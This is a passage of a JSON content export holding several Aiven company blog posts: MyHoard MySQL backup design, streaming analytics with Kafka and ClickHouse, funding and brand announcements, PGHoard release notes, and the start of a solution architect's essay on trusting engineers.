availability (or none at all).\n\nThe old master might also have managed to replicate transactions to standby servers that it had not yet backed up. In order to keep the backup consistent, the new master needs to have the capability to back up those transactions.\n\n\u003e MyHoard must also be configured to run on standby servers. It handles purging binary logs that have been backed up and replicated to all servers in the cluster.\n\nWhen failover happens, MyHoard starts backing up binary logs starting from the first binary log containing transactions that the old master had not backed up. It also updates the backup metadata to indicate the failover point so that any stray updates from the old master will be properly ignored when processing the backup later -- it is possible that the old master was still somehow alive and accepting writes that aren't getting replicated because the new master had already been chosen, but the old master could still have backed up the transactions before the server was eventually shut down.\n\nRestoring binary logs is _perhaps the most interesting part of the whole flow_. The official MySQL documentation suggests [recovering binary logs using mysqlbinlog](https://dev.mysql.com/doc/refman/8.0/en/point-in-time-recovery.html), __but mentions one major caveat:__\n\n\u003e Restoring is only safe if you restore everything with one invocation of ``mysqlbinlog`` because temporary tables will be dropped unexpectedly and recovery might not succeed, or it might recover invalid data otherwise.\n\nThis means you need to have all binary logs on disk simultaneously -- a potentially very large amount of disk space for change heavy servers -- and the entire operation will either succeed or fail in its entirety. If it fails, the only thing that can be done is starting over from scratch. The mysqlbinlog based processing also prevents parallelizing the operation.\n\n__MyHoard works around these problems by making use of MySQL's normal SQL slave thread,__ which is the same thing that processes updates from the MySQL master during normal replication: MySQL splits the processing into the IO thread, which is responsible for receiving updates from master and SQL threads, which is responsible for applying them. During restoration, MyHoard keeps the IO thread stopped and emulates what it would be doing, directly feeding the backed up binary logs as relay logs for the SQL thread.\n\nThis allows batching the processing so that only part of the binary logs are stored on local disk at any point in time and any possible errors can be handled more gracefully. This would also allow using multithreading when processing the binary/relay logs, _though this is currently not supported_.\n\n## Running and controlling MyHoard\n\nMyHoard is a daemon intended to be run as a systemd service and likewise expects MySQL to be managed via systemd. It takes a JSON configuration file that defines MySQL related configuration, cloud object storage configuration, various backup related options, monitoring related options, and so forth. MyHoard runs an HTTP server that provides simple management API.\n\nOnce done with creating the configuration and starting up the service management it's very simple. On the first ever cluster node, you'd make one PUT request to place MyHoard into active mode to start taking backups, on any other node you'd start by putting it into restore mode to get it fully restored from backup and in case master fails doing another request on one of the standby servers to promote it as the new master.\n\nThe full configuration and control API is explained on [MyHoard's GitHub page](https://github.com/aiven/myhoard).\n\n## Requirements and assumptions\n\nMyHoard requires binary log with ROW format and GTIDs to be enabled. Only single server is expected to be accepting writes. It only works with MySQL 8.0.x+ and on Linux.\n\nMyHoard is considered stable but there are numerous things that can still be improved. For example, making it support parallel binary log restoration would bring big improvements to restoration speed. Currently, binary logs always need to be created on all servers in order to guarantee consistent state which adds a fair amount of overhead and could possibly be optimized.\n\nWe welcome contributions, bug reports and improvement suggestions. Please get in touch via the [GitHub project](https://github.com/aiven/myhoard) or opensource@aiven.io!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405-png","_type":"reference"}},"publishedAt":"2019-05-27T00:00:00.000Z","related":[{"_key":"4a0853e1b56d","_ref":"9549ed5f-dc39-4a33-b102-11cdc97f473e","_type":"reference"},{"_key":"16ae1b7c3973","_ref":"5k7n1fStOCkrjlFuvlNMW1","_type":"reference"},{"_key":"30eb3867249e","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"}],"seo":{"metaDescription":"Getting the details just right to fully automate MySQL backups isn't simple. Find out how we accomplished it with our Open Source tool, MyHoard.","metaImage":{"alt":"","asset":{"_ref":"image-b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405-png","_type":"reference"}},"metaTitle":"MyHoard: Simplifying MySQL Backups | Aiven "},"slug":{"_type":"slug","current":"/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration"},"subtitle":"Getting the details just right to fully automate MySQL backups isn't simple. Find out how we accomplished it with our Open Source tool, MyHoard.","title":"Introducing MyHoard, your solution to MySQL backups and restoration"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T06:48:42Z","_id":"6d2dc544-51e6-459e-8669-8d92544accb2","_rev":"Ypdm2WFkfKn13FbW5XahzF","_type":"post","_updatedAt":"2024-09-25T08:36:38Z","authors":[{"_key":"a6ba1496fe5c","_ref":"29d5c4e5-fd74-4962-b6e4-32f29f0ef75a","_type":"reference"},{"_key":"0e2e220347a8","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"Your system works, but it could work better. A lot of businesses set up with a reasonable idea of the direction they want to take their product, but not how to get the most out of the data they’re collecting. \n\nEveryone’s talking about [Apache Kafka® as an ecosystem](https://aiven.io/blog/current-2022-recap). Once you recognize the importance of data analytics, the question shifts from “can this ecosystem streamline my systems?” to “what part of this ecosystem isn’t working for me?”\n\n**Streaming** data analytics differ from traditional (or **“batch”**) analytics. [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka) is already changing the face of data performance. But can your analytics weather these changes, or is it just plain taking too long to get your dashboards updated? You want your info presented nicely on your dashboards, not just for the previous month or the previous year, but hourly or per minute. Or even more frequently!\n\nThere are different approaches to streaming data analytics.\n\n## The evolution of analytics\nAnalytics is a concept that is _constantly_ on the move. Faster, sharper, more stable and performant, and all of it _right now_.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/123a355a6cf4c229bc1034906701829ef731f925-2500x1308.jpg)\n\nWe’re going to look at these stages a little bit out of order now, bear with us.\n\n### The primordial data soup\nBatch processing is still used in a lot of businesses and institutions. Analytics the \"old way\" can take days to get your dashboards updated, and requires some complex data pipelines. \n\nDoes it make sense to combine this traditional approach to analytics with the new ways of real-time data? Maybe, sometimes, when your analytics pipelines are all in place and you don't _need_ performance on that level. But in most cases this isn’t a great solution, so you should look into the other options.\n\n### The intelligent ape\nThis is it, the full real-time dream: event stream processing through technologies such as [Apache Flink](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink) or Confluent’s ksqlDB (these are just two examples of many!), event by event, processing and analyzing to full effect.\n\nThis is something you need if you want to take sub-second action - like automated stock trading, alerting based on data sent by an IoT device, or filtering some sensitive data from the stream before it is sent forward.\n\nThis _isn’t_ something you need, really, if you just want a dashboard that’s refreshed every 5 seconds (for example). For that, you'd be better off with a streaming-enabled data warehouse that can handle the volumes of incoming data, store it permanently for historical analysis, and provides ready integrations to dashboarding tools like Grafana, Tableau, Sisense and more.\n\nSure, it’s something to aim for … but only if you need it. Otherwise, it’s just wasted effort climbing that learning curve. A blended approach makes sense in many cases. Event stream processing for filtering and alerting based on the data, and a streaming-enabled data warehouse for creating the analytical dashboard views.\n\n### The missing link\nSomewhere in between these stages is the \"near real-time\". It offers a wide range of ways to optimize both ends of the evolutionary ladder. Streaming-enabled data warehouses, like ClickHouse, are simple and - for many use cases - more than fast enough. We’re talking about seconds or minutes here, so it’s still _fast_.\n\nYou already _have_ the data stream. With a streaming enabled data warehouse, you can capture and keep history of all that data. It can show emergent trends or projected developments, and execute preliminary analysis. Perform aggregations over your data to your reports, as well as digging deeper into individual events so you don't lose a single detail.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9eedbaa3cf7ae7ef65393671b00f4d0a2020b740-2500x1308.jpg)\n\nSo what kind of everyday data systems fall into this category, and where can a livelier approach to analytics be of benefit?\n\n## Near real-time analytics in the real world\n### A little thing called GDPR\nGeneral Data Protection Regulation (GDPR) unites event stream processing with Apache Flink®, and data warehousing with ClickHouse®. _GDPR is everywhere_. Apache Flink keeps users’ private data private, while ClickHouse still enables analysis.\n\nSay your business needs to perform analytics on GDPR-protected information. Here we have two systems that are “allowed” to see and process personal information. Taxation service data, medical records … but private content is not for sharing. Filter out the PII data with Apache Flink, so ClickHouse can generate analytics dashboards from the anonymized data. Your analysts can then look at the data in ClickHouse without worrying about GDPR violations.\n\n### Customer-facing dashboards\nSelf-serve dashboards are used, for example, by energy companies. They provide their customers with interfaces where they can check their energy consumption in real time.\n\nCompanies that want to give their customers a handy chatbot to interact with can set up a platform to provide an analytics view. It checks the number of conversations, sent and received messages, average session length, and more.\n\n### Clickstreaming\nProduct analytics teams collect “clickstreams” from users using their applications. Click-by-click tracking of user actions - which is where ClickHouse came from - can provide real-time insights for **user journeys**, **lifecycles**, **retention**, **app usage**, **experimentations**, and more.\n\nSoftware vendors building products depend on product analytics to tell them what’s working and what isn’t. And there’s lots of data to play with. It’s _invaluable_ data for advertising and any other site usage … and it has to be handled with care.\n\n### Analytics in fraud detection\nFinancial institutions, classically, depend on real-time or near-as-possible-to-real-time data analysis. This is required for tracking their customers, the transactions that are taking place using their systems, and exposing the impostors who might be attempting to take advantage of vulnerabilities.\n\nThey’re protecting the institutions that much of the modern world hinges on. There aren’t many more vital use cases for data analytics. This places fraud detection, in terms of its needs, right on the cusp of our “near real-time” and “really real-time” evolutionary shift.\n\n## Every solution has a problem\nJust as every (data handling) problem has a (streaming analytics) solution, every solution also kind of has a problem.\n\n- Your batch analytics systems are always going to have issues with performance and complexity.\n- Aggregations are needed, and insights are lost. At the same time, _too much_ aggregation can cause you to lose **hidden insights** that might be of great value.\n- Apache Kafka acts as a data hub and messaging platform, yes, but it doesn't do more in analyzing the data - that’s not what it’s for.\n- Apache Flink is at its best when doing data transformation or immediate actions based on quick event analysis. It’s not ideal for a 'traditional' analytics dashboard, as it requires a separate datastore for storing the processing results before they can be visualized.\n- [ClickHouse](https://aiven.io/blog/use-cases-for-clickhouse) deals with a lot of throughput, but it’s more about storage and quick queries than immediate actions based on the data.\n\nAnalyzing the messages that are going through Apache Kafka has palpable benefits. What do you have that _could_ work, but isn’t because you’re not using analytics? You need _all_ of your data to be accessible for proper analysis.\n\nSince we’re already talking about evolution, let’s take a scientific method approach. Only … we’re going to do it _backwards_. Kind of.\n\n## Approach it backwards (or … _sideways?_)\nIn the scientific method, you start with a question and use the data available to arrive at your answer. Interpreting or changing things to get the answer you want is a big no-no.\n\nWhen it comes to data analytics, though, you start with what you want to get out of your data. Then you figure out which tools you need in order to get the information you want.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=streaming-data-analytics-in-the-real-world\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\nMaybe you’re a manufacturer looking for the most efficient and effective way to support the drivers of your electric cars. You’re using Apache Kafka as a standardized messaging platform, but you need to move all that data into a warehouse and perform analysis on it so you can find out, for example:\n\n- Which charging sites are more or less commonly used\n- Where power is coming from\n- Where failures are occurring\n\nDon't make decisions based on a pile of old data. Take the guesswork out of it. And let Aiven help.\n\n## Wrapping up\nIf you’re at the stage where you’re trying things out, you don’t need to know it all. Want some ideas on where to start? We’ve got you covered.\n\n::banner[Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®]{ctaText=\"Check out our blog post\" ctaLink=\"https://aiven.io/blog/build-a-real-time-analytics-pipeline\" title=\"Build a real-time analytics pipeline\" theme=dark}\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay in the loop about about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further Reading\n\n- [Top requirements for building performant real-time applications](https://aiven.io/blog/the-top-requirements-for-building-performant-real-time-applications)\n- [Data streaming made easy with Apache Kafka®](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)\n","categories":[{"_key":"542fb3b48003","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"253c8fc4bf98","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"5790a81933ec","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-d696ba47d2ee04573ac297b7bc567e675c5eb3ac-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-31T10:41:47.998Z","related":[{"_key":"1b66620d7d9c","_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},{"_key":"99d18fbbc19b","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka® is changing the face of data performance. Can your analytics weather these changes, or is it taking too long to get your dashboards updated?","metaTitle":"Streaming data analytics in the real world – Read more"},"slug":{"_type":"slug","current":"/blog/streaming-data-analytics-in-the-real-world"},"subtitle":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","title":"Streaming data analytics in the real world"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5rQCh0etMiAbkYM5ZZfaf2","_rev":"Y1Zuby3sRDA3bPurvuDMVv","_type":"post","_updatedAt":"2024-09-25T08:41:40Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"In [my last blog post](https://aiven.io/blog/building-aiven-from-zero-to-usd800m-a-letter-from-our-ceo \"Building Aiven from zero to USD800m | Aiven blog\") I announced our Series C funding round and wrote about the future I saw for Aiven. Although it was only seven months ago, a lot has happened since then.\n\nWe have roughly doubled our revenue run rate. We’ve grown our team from 140 to over 230 employees, and expanded the team to Singapore and New Zealand. And we’ve also launched our Open Source Program Office making upstream contributions to several open source projects as a company.\n\nAll this culminates [in our latest news](https://aiven.io/press/aiven-achieves-usd2b-unicorn-valuation-with-its-series-c-extension \"Aiven achieves USD2b unicorn valuation | Aiven press room\"): Aiven has raised $60 million of additional funding, which extends our Series C round to $160 million in total. We also got a new valuation for the company: Aiven is now officially worth $2 billion, making us the newest unicorn to hail from the Nordics.\n\nIt’s humbling to think about the journey that’s taken us from zero to here in just six years. And I couldn’t be more grateful to Aiven employees and my fellow founders, as well as our customers and partners who have made this possible. Kudos!\n\n\u003e “It’s humbling to think about the journey that’s taken us from zero to here in just six years.”\n\nOur mission has always been clear: we want to make developers’ lives better, and help them tap into the benefits of open source data technologies without the burden of maintenance and management.\n\nAs we’ve grown, we’ve been able to help more and more developers do this. Now we’re at a point where we’re seeing Aiven become the leader in providing managed cloud data infrastructure around the world.\n\n\u003e “We want to make developers’ lives better, and help them tap into the benefits of open source technologies without the burden of maintenance and management.”\n\nIn my conversations with customers, I’m also hearing more and more how Aiven has helped them reach other goals, such as lowering their operating costs, achieving greater business agility and improving developers’ day-to-day productivity.\n\nTo quantify all this, we recently sponsored [a study by IDC](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"Aiven cloud data services bring 340% 3-year ROI | Aiven blog\") to interview some of our customers and look into the business value of Aiven services. The results make for interesting reading. Overall, I believe we’ve just scratched the surface of open source technologies’ benefits for companies. And I’m happy to have investors who share the vision backing our growth: World Innovation Lab, IVP, Atomico, Earlybird, First Fellows, Lifeline Ventures and Salesforce Ventures.\n\n\u003e “I believe we’ve just scratched the surface of open source technologies’ benefits for companies.”\n\nSo, continuing to champion easy and accessible open source is what you can expect from Aiven going forward. But what does this look like in practice?\n\nHere are some of the things that we’re working on right now:\n\n- We’re launching our [Aiven startup program, Cluster](https://landing.aiven.io/signup-cluster-notification/ \"Cluster | Aiven\"), in a couple of weeks at Slush, the coolest startup event in the world\n- We’re already serving customers in 50+ countries around the world, and next we’ll open offices in Paris and Singapore to work more closely with customers in those regions\n- We’re widening our product portfolio with new open source technologies, like Apache Flink which enables more sophisticated streaming use cases directly on the Aiven platform\n- We are growing our Open Source Program Office to devote even more time and resources towards contributing back to different open source communities\n\nI ended my last blog post saying that I was excited to see where the open road ahead would take us. Today we’re already a lot farther ahead, but there’s still a long way to go. And that’s how we like it.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Aiven joins forces with Slush to define the future of entrepreneurship](https://aiven.io/blog/aiven-joins-forces-with-slush)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-19T00:00:00.000Z","seo":{"metaDescription":"Aiven extended its Series C to $160 million, reaching unicorn status. Find out what it means for Aiven and for the future of open source data technologies.","metaImage":{"alt":"","asset":{"_ref":"image-b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844-png","_type":"reference"}},"metaTitle":"Raising a unicorn worth $2 billion - another letter from our CEO"},"slug":{"_type":"slug","current":"/blog/raising-a-unicorn"},"subtitle":"Aiven extended its Series C to $160 million, reaching unicorn status. Find out what it means for Aiven and for the future of open source data technologies.","title":"Raising a unicorn worth $2 billion - another letter from our CEO"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5e1eyGRUAVzPh1G1DuRnoK","_rev":"Y1Zuby3sRDA3bPurvuEJyO","_type":"post","_updatedAt":"2024-09-25T08:51:35Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last year, we quietly embarked on a major overhaul of the Aiven brand. The purpose? To reflect our evolution from a small, Finnish startup offering PostgreSQL as a Service to a larger, international one providing **6** open-source services in **5** clouds across **67** regions.\n\nDon’t worry, **we’re still Finnish** and **the crab stays**. After all, these are what anchor our brand and provide the all-important continuity as we forge ahead into uncharted territory.\n\nNonetheless, we have done a lot since Aiven’s inception in January of 2016 and even more so in 2017. Before you explore our new website, let’s take stock of what we accomplished last year and peak into what we plan to accomplish this year!\n\n## Building to Aiven 2.0, a year of firsts | 2017\n\nIn our second year, we focused on building up our services and coverage. We were able to accomplish a lot of _firsts_, whether bringing a major version release to market first, establishing ourselves as an open-source service leader, or expanding our operations. For a startup competing with well-estabilished brands, these were no small feat.\n\n#### 1. The [first to offer production-ready PostgreSQL 10](https://aiven.io/blog/aiven-is-first-to-offer-postgresql-10)\n\nAs a result, Aiven customers were the first to get access to the many performance enhancements and improved data distribution across nodes that PG10 promised across all major cloud providers.\n\n#### 2. The first to support [local SSDs for PostgreSQL](https://aiven.io/blog/larger-and-faster-aiven-postgresql-plans)\n\nIn some of our tests, PostgreSQL instances with local SSDs demonstrated up to a 400% increase in performance over those with network SSDs: good for databases of all sizes, but especially those with enterprise scale.\n\n#### 3. Demonstrated Aiven as the fastest provider of PostgreSQL\n\nFor PGConf EU ‘17, we [benchmarked PostgreSQL](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) across different cloud and DBaaS providers. Most interesting were the results of our comparison between RDS, Aurora, and Aiven for PostgreSQL.\n\n#### 4. Became the #1 provider of managed Apache Kafka\n\nAvailable in Amazon Web Services, Google Cloud Platform, Microsoft Azure, DigitalOcean, and UpCloud over 67 regions, no other Apache Kafka provider offers its customers such flexibility in where their clusters are managed and hosted.\n\n#### 5. Added [service integrations](https://help.aiven.io/en/articles/1456441-getting-started-with-service-integrations) to increase the power of Aiven for Apache Kafka.\n\nNow, Aiven customers can visualize and set up alerts for their Aiven for Kafka data by integrating with Aiven for InfluxDB and Grafana. Setting the integrations up is simple and only takes a few minutes to set up.\n\n#### 6. Established our first international office in Boston, MA\n\nA global service requires a global footprint. Due to North America’s geographic location and that of our client base, establishing an office in the U.S. under Aiven, Inc was the logical next step.\n\n## The year of Aiven 2.0, hitting our stride | 2018\n\nEntering our third year, we've set a solid pace that will see us adding more integrations to our current services, adding additional services, and demonstrating our commitment to data security. 2018 will be a year of expansion, but also one of refinement.\n\n#### 1. Adding support for Datadog\n\nAlthough our Aiven InfluxDB and Grafana service integrations essentially provide the same functionality as Datadog, many of our clients are established users of the latter, which is why we will be providing support in Q1.\n\n#### 2. Adding Cassandra and other services\n\nStarting with a Cassandra Beta by end of Q1, we will add a number of popular and horizontally scalable services throughout 2018 to increase our platform's functionality and secure our role as the premier cloud database hub.\n\n#### 3. Adding support for Kafka MirrorMaker\n\nCross-region replication is important for interdependent clusters, especially those that administrators are using as fail-safes. In short, it’s important and we’re making it available.\n\n#### 4. Fleshing out Aiven service integrations\n\nNow, Aiven Kafka users can access pre-made dashboards to visualize their metadata and set alerts with InfluxDB and Grafana. We will follow-up with **Aiven PostgreSQL** and **OpenSearch** over the year.\n\n#### 5. Attaining ISO 27001 Certification\n\nInformation security is at the heart of everything we do, which is why we started the ISO 27001 certification process in late 2017 and plan on receiving full certification mid 2018.\n\n## Building from Aiven 2.0, increasing our pace | Beyond 2018\n\nIt's hard to accurately predict where Aiven will be a year from now. But, we know what we'll do: practice the philosophy that got us to today, one that is focused on providing **services that are usable**, **reliable**, **relevant**, and **secure**.\n\nOur foundation firm, our customers happy, and our brand confidently facing the future, we are in the ideal posture to position ourselves as the leading cloud database platform and earning a spot at the table when companies consider or reconsider their cloud strategy.\n\nSo beyond 2018? Who know, but the pace will be furious. Make sure you stay up-to-date by subscribing to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds. And in the meantime? Be sure to explore and enjoy our new website!\n\n\u003cdiv class=\"col-xs-12 text-center\"\u003e\n\u003ca class=\"button gradient\" href=\"https://aiven.io/\" target=\"_blank\"\u003e\nStart at the homepage!\n\u003c/a\u003e\n\u003c/div\u003e\n\n\n## Further reading\n\n- [Datadog meets Aiven](https://aiven.io/blog/datadog-meets-aiven)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405-png","_type":"reference"}},"publishedAt":"2018-02-26T00:00:00.000Z","seo":{"metaDescription":"2017 was a major year for Aiven culminating in an updated brand and new website. In this post, we review where we’ve been and where we’re going.","metaImage":{"alt":"","asset":{"_ref":"image-8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405-png","_type":"reference"}},"metaTitle":"Time to take stock as Aiven goes 2.0"},"slug":{"_type":"slug","current":"/blog/time-to-take-stock-as-aiven-goes-2"},"subtitle":"2017 was a major year for Aiven culminating in an updated brand and new website. In this post, we review where we’ve been and where we’re going.","title":"Time to take stock as Aiven goes 2.0"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7FUj03B4INHqLhwM9wLqrH","_rev":"Y1Zuby3sRDA3bPurvuEXua","_type":"post","_updatedAt":"2024-09-25T08:53:13Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"We've just released a new version of [PGHoard](https://github.com/aiven/pghoard), the PostgreSQL cloud backup tool we initially developed for [Aiven](/) and later open sourced.\n\nVersion **1.4.0** comes with the following new features:\n\n*   Support for PostgreSQL **9.6 beta3**\n*   Support for backing up multiple tablespaces\n*   Support for StatsD and Datadog metrics collection\n*   Basebackup restoration now shows download progress\n*   _Experimental_ new WAL streaming mode **walreceiver**, which reads the write-ahead log data directly from the PostgreSQL server using the streaming replication protocol\n*   New status API in the internal REST HTTP server\n\nPlease see [our previous blog post about PGHoard](https://aiven.io/blog/postgresql-cloud-backups-with-pghoard) for more information about the tool and a guide for deploying it.\n\n### Backing up multiple tablespaces\n\nThis is the first version of PGHoard capable of backing up multiple tablespaces. Multiple tablespaces require using the new local-tar backup option for reading files directly from the disk instead of streaming them using pg_basebackup as pg_basebackup doesn't currently allow streaming multiple tablespaces without writing them to the local filesystem.\n\nThe current version of PGHoard can utilize the local-tar backup mode only on a PG master server, PostgreSQL versions prior to 9.6 don't allow users to run the necessary control commands on a standby server without using the [pgespresso extension](https://github.com/2ndquadrant-it/pgespresso). pgespresso also required fixes which we contributed to support multiple tablespaces - once a fixed version has been released we'll add support for it to PGHoard.\n\nThe next version of PGHoard, due out by the time of PostgreSQL 9.6 final release, will support local-tar backups from standby servers, natively when running 9.6 and using the pgespresso extension when running older versions with the latest version of the extension.\n\nA future version of PGHoard will support backing up and restoring PostgreSQL basebackups in parallel mode when using the local-tar mode.  This will greatly reduce the time required for setting up a new standby server or restoring a system from backups.\n\n### Streaming replication support\n\nThis version adds _experimental_ support for reading PostgreSQL's write-ahead log directly from the server using the streaming replication protocol which is also used by PostgreSQL's native replication and related tools such as pg_basebackup and pg_receivexlog. The functionality currently depends on [an unmerged psycopg2 pull request](https://github.com/psycopg/psycopg2/pull/322) which we hope to see land in a psycopg2 release soon.\n\nWhile the walreceiver mode is still experimental it has a number of benefits over other methods of backing up the WAL and allows implementing new features in the future: temporary, uncompressed, files as written by pg_receivexlog are no longer needed saving disk space and I/O and incomplete WAL segments can be archived at specified intervals or, for example, whenever a new COMMIT appears in the WAL stream.\n\n### New contributors\n\nThe following people contributed their first patches to PGHoard in this release:\n\n*   Brad Durrow\n*   Tarvi Pillessaar\n\n### PGHoard in Aiven.io\n\nWe're happy to talk more about PGHoard and help you set up your backups with it.  You can also sign up for a free trial of our [aiven.io PostgreSQL](https://aiven.io/postgresql) service where PGHoard will take care of your backups.\n\n\n## Further reading\n\n- [Datadog meets Aiven](https://aiven.io/blog/datadog-meets-aiven)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2016-07-22T11:32:00.000Z","seo":{"metaDescription":"Our open-source PGHoard’s latest version is now available. Find out what new features were added and how to get the most out of it.","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Backing up tablespaces and streaming WAL with PGHoard"},"slug":{"_type":"slug","current":"/blog/pghoard-tablespaces-wal-stream"},"subtitle":"Our open-source PGHoard’s latest version is now available. Find out what new features were added and how to get the most out of it.","title":"Backing up tablespaces and streaming WAL with PGHoard"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3MggLA9OLDbYdLjn5eZSx6","_rev":"Y1Zuby3sRDA3bPurvuEnl2","_type":"post","_updatedAt":"2024-09-25T08:54:47Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"}],"body":"I spent the majority of my career at MIT Lincoln Laboratory, where I worked on many classified, large scale data problems for various government agencies including the NSA, CIA and DARPA. \n\nI then went into the public retail sector for a bit to ensure I didn’t miss the cloud wave. After that, I landed at a large financial firm in the midst of a migration from on-premises to the cloud. While there, I got a call from an Aiven recruiter:\n\n*“Hey you have experience with all the technologies that we offer, would you be interested in being a Solution Architect in Sales?” \n“Sales? I’m an engineer, are you sure you got the right guy?”\n“Yes.”\n“Do I need to support the software? Do I get paged on weekends?”\n“No.”\n“Then sign me up twice!”*\n\nAnd that is how I stumbled into being a Pre-Sales Solution Architect. And let me tell you, I absolutely love it! Talking with engineers every day and helping them become successful by empathizing with similar experiences is simply awesome.\n\nUsually I find myself talking about the building and optimizing of data infrastructure, or different strategies for security, hybrid and multi-cloud. This time, however, I want to change it up a bit.\n\nWhile all of the above are important aspects of an organization's cloud strategy, you can’t get any of them accomplished without people and empowering them with the right tools. Let’s talk about *that*.\n\n## Building Trust\n\nThere’s a Nike slogan from the early 1990’s (showing my age here) for the Air Huarache sneaker: \"Have you hugged your foot today?\" Since sometimes we take our feet for granted, why not show them a bit of love by buying these sneakers?\n\nBut what does a shoe ad about feet-hugging have to do with the cloud? How can this relate to organizations? Cloud services? People?\n\nWhat I’m about to say is not novel, but some organizations need to learn this. And some just need a gentle reminder from time to time.\n\nAll too often companies have gone out, executed a lengthy recruitment process, and done all of their due diligence to hire staff that are the best at what they do. Companies trust engineers and architects to write code and build systems that create value for their customers, and drive company revenue and shareholder value.\n\nBut why is it so often the case that engineers are not included or trusted when procuring the software or services that they will use every day? Or worse yet, are forced to use software that management has purchased without any input from them? I’m sure that at least some of you are nodding right now.\n\n__Trust your engineers and architects!__ They intrinsically have the company's best interests in mind. 